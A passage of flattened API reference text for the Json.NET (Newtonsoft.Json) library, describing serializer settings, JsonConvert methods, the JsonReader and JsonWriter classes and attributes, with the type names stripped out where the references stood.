objects. Included members are written to JSON. Has no effect when deserializing. Ignore members where the member value is the same as the member's default value when serializing objects so that it is not written to JSON. This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, decimals and floating point numbers; and false for booleans). The default value ignored can be changed by placing the on the property. Members with a default value but no JSON will be set to their default value when deserializing. Ignore members where the member value is the same as the member's default value when serializing objects and set members to their default value when deserializing. Specifies float format handling options when writing special floating point numbers, e.g. , and with . Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. Note that this will produce non-valid JSON. Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. Floating point numbers are parsed to . Floating point numbers are parsed to . Specifies formatting options for the . No special formatting is applied. This is the default. Causes child objects to be indented according to the and settings. Provides an interface for using pooled arrays. The array type content. Rent an array from the pool. This array must be returned when it is no longer needed. The minimum required length of the array. The returned array may be longer. The rented array from the pool. This array must be returned when it is no longer needed. Return an array to the pool. The array that is being returned. Provides an interface to enable a class to return line and position information. Gets a value indicating whether the class can return line information. true if and can be provided; otherwise, false. Gets the current line number. The current line number or 0 if no line information is available (for example, when returns false). Gets the current line position. The current line position or 0 if no line information is available (for example, when returns false). Instructs the how to serialize the collection. Gets or sets a value indicating whether null items are allowed in the collection. true if null items are allowed in the collection; otherwise, false. Initializes a new instance of the class. Initializes a new instance of the class with a flag indicating whether the array can contain null items. A flag indicating whether the array can contain null items. Initializes a new instance of the class with the specified container Id. The container Id. Instructs the to use the specified constructor when deserializing that object. Instructs the how to serialize the object. Gets or sets the id. The id. Gets or sets the title. The title. Gets or sets the description. The description. Gets or sets the collection's items converter. The collection's items converter. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] Gets or sets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] Gets or sets a value that indicates whether to preserve object references. true to keep object reference; otherwise, false. The default is false. Gets or sets a value that indicates whether to preserve collection's items references. true to keep collection's items object references; otherwise, false. The default is false. Gets or sets the reference loop handling used when serializing the collection's items. The reference loop handling. Gets or sets the type name handling used when serializing the collection's items. The type name handling. Initializes a new instance of the class. Initializes a new instance of the class with the specified container Id. The container Id. Provides methods for converting between .NET types and JSON types. Gets or sets a function that creates default . Default settings are automatically used by serialization methods on , and and on . To serialize without using any default settings create a with . Represents JavaScript's boolean value true as a string. This field is read-only. Represents JavaScript's boolean value false as a string. This field is read-only. Represents JavaScript's null as a string. This field is read-only. Represents JavaScript's undefined as a string. This field is read-only. Represents JavaScript's positive infinity as a string. This field is read-only. Represents JavaScript's negative infinity as a string. This field is read-only. Represents JavaScript's NaN as a string. This field is read-only. Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation using the specified. The value to convert. The format the date will be converted to. The time zone handling when the date is converted to a string. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation using the specified. The value to convert. The format the date will be converted to. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. The string delimiter character. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. The string delimiter character. The string escape handling. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Serializes the specified object to a JSON string. The object to serialize. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting. The object to serialize. Indicates how the output should be formatted. A JSON string representation of the object. Serializes the specified object to a JSON string using a collection of . The object to serialize. A collection of converters used while serializing. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting and a collection of . The object to serialize. Indicates how the output should be formatted. A collection of converters used while serializing. A JSON string representation of the object. Serializes the specified object to a JSON string using . The object to serialize. The used to serialize the object. If this is null, default serialization settings will be used. A JSON string representation of the object. Serializes the specified object to a JSON string using a type, formatting and . The object to serialize. The used to serialize the object. If this is null, default serialization settings will be used. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting and . The object to serialize. Indicates how the output should be formatted. The used to serialize the object. If this is null, default serialization settings will be used. A JSON string representation of the object. Serializes the specified object to a JSON string using a type, formatting and . The object to serialize. Indicates how the output should be formatted. The used to serialize the object. If this is null, default serialization settings will be used. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. A JSON string representation of the object. Deserializes the JSON to a .NET object. The JSON to deserialize. The deserialized object from the JSON string. Deserializes the JSON to a .NET object using . The JSON to deserialize. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type. The JSON to deserialize. The of object being deserialized. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type. The type of the object to deserialize to. The JSON to deserialize. The deserialized object from the JSON string. Deserializes the JSON to the given anonymous type. The anonymous type to deserialize to. This can't be specified traditionally and must be inferred from the anonymous type passed as a parameter. The JSON to deserialize. The anonymous type object. The deserialized anonymous type from the JSON string. Deserializes the JSON to the given anonymous type using . The anonymous type to deserialize to. This can't be specified traditionally and must be inferred from the anonymous type passed as a parameter. The JSON to deserialize. The anonymous type object. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized anonymous type from the JSON string. Deserializes the JSON to the specified .NET type using a collection of . The type of the object to deserialize to. The JSON to deserialize. Converters to use while deserializing. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using . The type of the object to deserialize to. The object to deserialize. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using a collection of . The JSON to deserialize. The type of the object to deserialize. Converters to use while deserializing. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using . The JSON to deserialize. The type of the object to deserialize to. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Populates the object with values from the JSON string. The JSON to populate values from. The target object to populate values onto. Populates the object with values from the JSON string using . The JSON to populate values from. The target object to populate values onto. The used to deserialize the object. If this is null, default serialization settings will be used. Serializes the to a JSON string. The node to serialize. A JSON string of the . Serializes the to a JSON string using formatting. The node to serialize. Indicates how the output should be formatted. A JSON string of the . Serializes the to a JSON string using formatting and omits the root object if is true. The node to serialize. Indicates how the output should be formatted. Omits writing the root object. A JSON string of the . Deserializes the from a JSON string. The JSON string. The deserialized . Deserializes the from a JSON string nested in a root element specified by . The JSON string. The name of the root element to append when deserializing. The deserialized . Deserializes the from a JSON string nested in a root element specified by and writes a Json.NET array attribute for collections. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. The deserialized . Deserializes the from a JSON string nested in a root element specified by , writes a Json.NET array attribute for collections, and encodes special characters. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. A value to indicate whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. The deserialized . Serializes the to a JSON string. The node to convert to JSON. A JSON string of the . Serializes the to a JSON string using formatting. The node to convert to JSON. Indicates how the output should be formatted. A JSON string of the . Serializes the to a JSON string using formatting and omits the root object if is true. The node to serialize. Indicates how the output should be formatted. Omits writing the root object. A JSON string of the . Deserializes the from a JSON string. The JSON string. The deserialized . Deserializes the from a JSON string nested in a root element specified by . The JSON string. The name of the root element to append when deserializing. The deserialized . Deserializes the from a JSON string nested in a root element specified by and writes a Json.NET array attribute for collections. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. The deserialized . Deserializes the from a JSON string nested in a root element specified by , writes a Json.NET array attribute for collections, and encodes special characters. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. A value to indicate whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. The deserialized . Converts an object to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can read JSON. true if this can read JSON; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts an object to and from JSON. The object type to convert. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. If there is no existing value then null will be used. The existing value has a value. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Instructs the to use the specified when serializing the member or class. Gets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. Initializes a new instance of the class. Type of the . Initializes a new instance of the class. Type of the . Parameter list to use when constructing the . Can be null. Represents a collection of . Instructs the how to serialize the collection. Initializes a new instance of the class. Initializes a new instance of the class with the specified container Id. The container Id. The exception thrown when an error occurs during JSON serialization or deserialization. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Instructs the to deserialize properties with no matching class member into the specified collection and write values during serialization. Gets or sets a value that indicates whether to write extension data when serializing the object. true to write extension data when serializing the object; otherwise, false. The default is true. Gets or sets a value that indicates whether to read extension data when deserializing the object. true to read extension data when deserializing the object; otherwise, false. The default is true. Initializes a new instance of the class. Instructs the not to serialize the public field or public read/write property value. Base class for a table of atomized string objects. Gets a string containing the same characters as the specified range of characters in the given array. The character array containing the name to find. The zero-based index into the array specifying the first character of the name. The number of characters in the name. A string containing the same characters as the specified range of characters in the given array. Instructs the how to serialize the object. Gets or sets the member serialization. The member serialization. Gets or sets the missing member handling used when deserializing this object. The missing member handling. Gets or sets how the object's properties with null values are handled during serialization and deserialization. How the object's properties with null values are handled during serialization and deserialization. Gets or sets a value that indicates whether the object's properties are required. A value indicating whether the object's properties are required. Initializes a new instance of the class. Initializes a new instance of the class with the specified member serialization. The member serialization. Initializes a new instance of the class with the specified container Id. The container Id. Instructs the to always serialize the member with the specified name. Gets or sets the type used when serializing the property's collection items. The collection's items type. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] Gets or sets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] Gets or sets the null value handling used when serializing this property. The null value handling. Gets or sets the default value handling used when serializing this property. The default value handling. Gets or sets the reference loop handling used when serializing this property. The reference loop handling. Gets or sets the object creation handling used when deserializing this property. The object creation handling. Gets or sets the type name handling used when serializing this property. The type name handling. Gets or sets whether this property's value is serialized as a reference. Whether this property's value is serialized as a reference. Gets or sets the order of serialization of a member. The numeric order of serialization. Gets or sets a value indicating whether this property is required. A value indicating whether this property is required. Gets or sets the name of the property. The name of the property. Gets or sets the reference loop handling used when serializing the property's collection items. The collection's items reference loop handling. Gets or sets the type name handling used when serializing the property's collection items. The collection's items type name handling. Gets or sets whether this property's collection items are serialized as a reference. Whether this property's collection items are serialized as a reference. Initializes a new instance of the class. Initializes a new instance of the class with the specified name. Name of the property. Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. Specifies the state of the reader. A read method has not been called. The end of the file has been reached successfully. Reader is at a property. Reader is at the start of an object. Reader is in an object. Reader is at the start of an array. Reader is in an array. The method has been called. Reader has just read a value. Reader is at the start of a constructor. Reader is in a constructor. An error occurred that prevents the read operation from continuing. The end of the file has been reached successfully. Gets the current reader state. The current reader state. Gets or sets a value indicating whether the source should be closed when this reader is closed. true to close the source when this reader is closed; otherwise false. The default is true. Gets or sets a value indicating whether multiple pieces of JSON content can be read from a continuous stream without erroring. true to support reading multiple pieces of JSON content; otherwise false. The default is false. Gets the quotation mark character used to enclose the value of a string. Gets or sets how time zones are handled when reading JSON. Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. Gets or sets how custom date formatted strings are parsed when reading JSON. Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Gets the type of the current JSON token. Gets the text value of the current JSON token. Gets the .NET type for the current JSON token. Gets the depth of the current token in the JSON document. The depth of the current token in the JSON document. Gets the path of the current JSON token. Gets or sets the culture used when reading JSON. Defaults to . Initializes a new instance of the class. Reads the next JSON token from the source. true if the next token was read successfully; false if there are no more tokens to read. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a . A . This method will return null at the end of an array. Reads the next JSON token from the source as a []. A [] or null if the next JSON token is null. This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Skips the children of the current token. Sets the current token. The new token. Sets the current token and value. The new token. The value. Sets the current token and value. The new token. The value. A flag indicating whether the position index inside an array should be updated. Sets the state based on current token type. Releases unmanaged and - optionally - managed resources. true to release both managed and unmanaged resources; false to release only unmanaged resources. Changes the reader's state to . If is set to true, the source is also closed. The exception thrown when an error occurs while reading JSON text. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Initializes a new instance of the class with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The line number indicating where the error occurred. The line position indicating where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Instructs the to always serialize the member, and to require that the member has a value. The exception thrown when an error occurs during JSON serialization or deserialization. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Initializes a new instance of the class with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The line number indicating where the error occurred. The line position indicating where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Serializes and deserializes objects into and from the JSON format. The enables you to control how objects are encoded into JSON. Occurs when the errors during serialization and deserialization. Gets or sets the used by the serializer when resolving references. Gets or sets the used by the serializer when resolving type names. Gets or sets the used by the serializer when resolving type names. Gets or sets the used by the serializer when writing trace messages. The trace writer. Gets or sets the equality comparer used by the serializer when comparing references. The equality comparer. Gets or sets how type name writing and reading is handled by the serializer. The default value is . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how object references are preserved by the serializer. The default value is . Gets or sets how reference loops (e.g. a class referencing itself) is handled. The default value is . Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. The default value is . Gets or sets how null values are handled during serialization and deserialization. The default value is . Gets or sets how default values are handled during serialization and deserialization. The default value is . Gets or sets how objects are created during deserialization. The default value is . The object creation handling. Gets or sets how constructors are used during deserialization. The default value is . The constructor handling. Gets or sets how metadata properties are used during deserialization. The default value is . The metadata properties handling. Gets a collection that will be used during serialization. Collection that will be used during serialization. Gets or sets the contract resolver used by the serializer when serializing .NET objects to JSON and vice versa. Gets or sets the used by the serializer when invoking serialization callback methods. The context. Indicates how JSON text output is formatted. The default value is . Gets or sets how dates are written to JSON text. The default value is . Gets or sets how time zones are handled during serialization and deserialization. The default value is . Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. The default value is . Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. The default value is . Gets or sets how special floating point numbers, e.g. , and , are written as JSON text. The default value is . Gets or sets how strings are escaped when writing JSON text. The default value is . Gets or sets how and values are formatted when writing JSON text, and the expected date format when reading JSON text. The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". Gets or sets the culture used when reading JSON. The default value is . Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. The default value is false. true if there will be a check for additional JSON content after deserializing an object; otherwise, false. Initializes a new instance of the class. Creates a new instance. The will not use default settings from . A new instance. The will not use default settings from . Creates a new instance using the specified . The will not use default settings from . The settings to be applied to the . A new instance using the specified . The will not use default settings from . Creates a new instance. The will use default settings from . A new instance. The will use default settings from . Creates a new instance using the specified . The will use default settings from as well as the specified . The settings to be applied to the . A new instance using the specified . The will use default settings from as well as the specified . Populates the JSON values onto the target object. The that contains the JSON structure to read values from. The target object to populate values onto. Populates the JSON values onto the target object. The that contains the JSON structure to read values from. The target object to populate values onto. Deserializes the JSON structure contained by the specified . The that contains the JSON structure to deserialize. The being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The of object being deserialized. The instance of being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The type of the object to deserialize. The instance of being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The of object being deserialized. The instance of being deserialized. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. The type of the value being serialized. This parameter is used when is Auto to write out the type name if the type of the value does not match. Specifying the type is optional. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. Specifies the settings on a object. Gets or sets how reference loops (e.g. a class referencing itself) are handled. The default value is . Reference loop handling. Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. The default value is . Missing member handling. Gets or sets how objects are created during deserialization. The default value is . The object creation handling. Gets or sets how null values are handled during serialization and deserialization. The default value is . Null value handling. Gets or sets how default values are handled during serialization and deserialization. The default value is . The default value handling. Gets or sets a collection that will be used during serialization. The converters. Gets or sets how object references are preserved by the serializer. The default value is . The preserve references handling. Gets or sets how type name writing and reading is handled by the serializer. The default value is . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . The type name handling. Gets or sets how metadata properties are used during deserialization. The default value is . The metadata properties handling. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how constructors are used during deserialization. The default value is . The constructor handling. Gets or sets the contract resolver used by the serializer when serializing .NET objects to JSON and vice versa. The contract resolver. Gets or sets the equality comparer used by the serializer when comparing references. The equality comparer. Gets or sets the used by the serializer when resolving references. The reference resolver. Gets or sets a function that creates the used by the serializer when resolving references. A function that creates the used by the serializer when resolving references. Gets or sets the used by the serializer when writing trace messages. The trace writer. Gets or sets the used by the serializer when resolving type names. The binder. Gets or sets the used by the serializer when resolving type names. The binder. Gets or sets the error handler called during serialization and deserialization. The error handler called during serialization and deserialization. Gets or sets the used by the serializer when invoking serialization callback methods. The context. Gets or sets how and values are formatted when writing JSON text, and the expected date format when reading JSON text. The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Indicates how JSON text output is formatted. The default value is . Gets or sets how dates are written to JSON text. The default value is . Gets or sets how time zones are handled during serialization and deserialization. The default value is . Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. The default value is . Gets or sets how special floating point numbers, e.g. , and , are written as JSON. The default value is . Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. The default value is . Gets or sets how strings are escaped when writing JSON text. The default value is . Gets or sets the culture used when reading JSON. The default value is . Gets a value indicating whether there will be a check for additional content after deserializing an object. The default value is false. true if there will be a check for additional content after deserializing an object; otherwise, false. Initializes a new instance of the class. Represents a reader that provides fast, non-cached, forward-only access to JSON text data. Initializes a new instance of the class with the specified . The containing the JSON data to read. Gets or sets the reader's property name table. Gets or sets the reader's character buffer pool. Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a . A . This method will return null at the end of an array. Reads the next JSON token from the underlying as a []. A [] or null if the next JSON token is null. This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Changes the reader's state to . If is set to true, the underlying is also closed. Gets a value indicating whether the class can return line information. true if and can be provided; otherwise, false. Gets the current line number. The current line number or 0 if no line information is available (for example, returns false). Gets the current line position. The current line position or 0 if no line information is available (for example, returns false). Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Gets or sets the writer's character array pool. Gets or sets how many s to write for each level in the hierarchy when is set to . Gets or sets which character to use to quote attribute values. Gets or sets which character to use for indenting when is set to . Gets or sets a value indicating whether object names will be surrounded with quotes. Initializes a new instance of the class using the specified . The to write to. Flushes whatever is in the buffer to the underlying and also flushes the underlying . Closes this writer. If is set to true, the underlying is also closed. If is set to true, the JSON is auto-completed. Writes the beginning of a JSON object. Writes the beginning of a JSON array. Writes the start of a constructor with the given name. The name of the constructor. Writes the specified end token. The end token to write. Writes the property name of a name/value pair on a JSON object. The name of the property. Writes the property name of a name/value pair on a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. Writes indent characters. Writes the JSON value delimiter. Writes an indent space. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes raw JSON. The raw JSON to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the given white space. The string of white space characters. Specifies the type of JSON token. This is returned by the if a read method has not been called. An object start token. An array start token. A constructor start token. An object property name. A comment. Raw JSON. An integer. A float. A string. A boolean. A null token. An undefined token. An object end token. An array end token. A constructor end token. A Date. Byte data. Represents a reader that provides validation. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Sets an event handler for receiving schema validation errors. Gets the text value of the current JSON token. Gets the depth of the current token in the JSON document. The depth of the current token in the JSON document. Gets the path of the current JSON token. Gets the quotation mark character used to enclose the value of a string. Gets the type of the current JSON token. Gets the .NET type for the current JSON token. Initializes a new instance of the class that validates the content returned from the given . The to read from while validating. Gets or sets the schema. The schema. Gets the used to construct this . The specified in the constructor. Changes the reader's state to . If is set to true, the underlying is also closed. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a []. A [] or null if the next JSON token is null. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a . A . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Gets or sets a value indicating whether the destination should be closed when this writer is closed. true to close the destination when this writer is closed; otherwise false. The default is true. Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. Gets the top. The top. Gets the state of the writer. Gets the path of the writer. Gets or sets a value indicating how JSON text output should be formatted. Gets or sets how dates are written to JSON text. Gets or sets how time zones are handled when writing JSON text. Gets or sets how strings are escaped when writing JSON text. Gets or sets how special floating point numbers, e.g. , and , are written to JSON text. Gets or sets how and values are formatted when writing JSON text. Gets or sets the culture used when writing JSON. Defaults to . Initializes a new instance of the class. Flushes whatever is in the buffer to the destination and also flushes the destination. Closes this writer. If is set to true, the destination is also closed. If is set to true, the JSON is auto-completed. Writes the beginning of a JSON object. Writes the end of a JSON object. Writes the beginning of a JSON array. Writes the end of an array. Writes the start of a constructor with the given name. The name of the constructor. Writes the end constructor. Writes the property name of a name/value pair of a JSON object. The name of the property. Writes the property name of a name/value pair of a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. Writes the end of the current JSON object or array. Writes the current token and its children. The to read the token from. Writes the current token. The to read the token from. A flag indicating whether the current token's children should be written. Writes the token and its value. The to write. The value to write. A value is only required for tokens that have an associated value, e.g. the property name for . null can be passed to the method for tokens that don't have a value, e.g. . Writes the token. The to write. Writes the specified end token. The end token to write. Writes indent characters. Writes the JSON value delimiter. Writes an indent space. Writes a null value. Writes an undefined value. Writes raw JSON without changing the writer's state. The raw JSON to write. Writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the given white space. The string of white space characters. 